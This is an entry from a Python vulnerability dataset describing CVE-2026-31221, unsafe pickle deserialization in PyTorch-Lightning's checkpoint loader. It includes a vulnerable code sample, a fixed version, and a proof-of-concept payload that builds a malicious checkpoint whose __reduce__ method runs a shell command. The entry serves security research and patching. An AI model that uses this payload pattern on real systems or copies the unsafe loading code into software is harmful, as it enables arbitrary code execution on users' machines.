CVE-2026-31221
Insecure deserialization in PyTorch-Lightning checkpoint loading allows RCE.
- CVSS 7.8
- CWE-502
- Input Validation and Sanitization
- Remote
PyTorch-Lightning versions 2.6.0 and earlier contain an insecure deserialization vulnerability (CWE-502) in the checkpoint loading mechanism. The LightningModule.load_from_checkpoint() method, which is commonly used to load saved model states, internally calls torch.load() without setting the security-restrictive weights_only=True parameter. This default behavior allows the deserialization of arbitrary Python objects via the Pickle module. A remote attacker can exploit this by providing a maliciously crafted checkpoint file, leading to arbitrary code execution on the victim's system when the file is loaded.
- CWE
- CWE-502
- CVSS base score
- 7.8
- Published
- 2026-05-12
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Timing/Serialization
- Code defect classification
- Serialization Issues
- Category
- Input Validation and Sanitization
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- PyTorch-Ligh
- Fixed by upgrading
- Yes
Solution
Upgrade PyTorch-Lightning to version 2.7.0 or later.
Vulnerable code sample
import torch
import torch.nn as nn
from typing import Any, Dict, Type
# This is a simplified representation for demonstration purposes.
# The actual class is in the pytorch_lightning library.
class LightningModule(nn.Module):
def __init__(self, *args: Any, **kwargs: Any):
super().__init__()
# In a real module, layers would be defined here.
self.layer = nn.Linear(10, 1)
def load_state_dict(self, state_dict: Dict[str, Any], strict: bool = True):
# Placeholder for the actual state dict loading logic.
super().load_state_dict(state_dict, strict)
@classmethod
def load_from_checkpoint(
cls: Type["LightningModule"],
checkpoint_path: str,
*args: Any,
**kwargs: Any,
) -> "LightningModule":
"""
Vulnerable version of the checkpoint loading method.
"""
# The vulnerability is in this call to torch.load().
# By default, it uses Python's pickle module, which is not secure.
# It can deserialize arbitrary objects, leading to code execution.
# The `weights_only=True` parameter, which would make this safe, is absent.
checkpoint = torch.load(checkpoint_path)
# The function would then proceed to instantiate the model and load the weights.
model = cls(*args, **kwargs)
model.load_state_dict(checkpoint["state_dict"])
return modelPatched code sample
import torch
from typing import Any, Optional
def fixed_load_from_checkpoint(
checkpoint_path: str,
map_location: Optional[Any] = None,
**kwargs: Any,
) -> dict:
"""
This function demonstrates the fix for the insecure deserialization
vulnerability. The original vulnerable code called `torch.load()`
without the `weights_only` parameter.
The fix is to enforce `weights_only=True` during deserialization.
"""
# The vulnerable code would have called torch.load like this:
# checkpoint = torch.load(checkpoint_path, map_location=map_location)
# THE FIX: Add `weights_only=True` to the torch.load call.
# This parameter restricts deserialization to only tensors and a few safe
# primitive types. It prevents the unpickling of arbitrary Python
# objects, which is the root cause of the code execution vulnerability.
checkpoint = torch.load(
checkpoint_path,
map_location=map_location,
weights_only=True
)
# In a real application, the code would continue here to instantiate a
# model and load the state dictionary from the now-safe 'checkpoint' object.
# For this example, we simply return the loaded data.
return checkpointPayload
import os
import torch
import pickle
class Exploit:
def __reduce__(self):
command = "touch /tmp/pwned"
return (os.system, (command,))
malicious_checkpoint = {
"state_dict": {
"malicious_object": Exploit()
}
}
torch.save(malicious_checkpoint, "malicious.ckpt")
Cite this entry
@misc{vaitp:cve202631221,
title = {{Insecure deserialization in PyTorch-Lightning checkpoint loading allows RCE.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-31221},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-31221/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
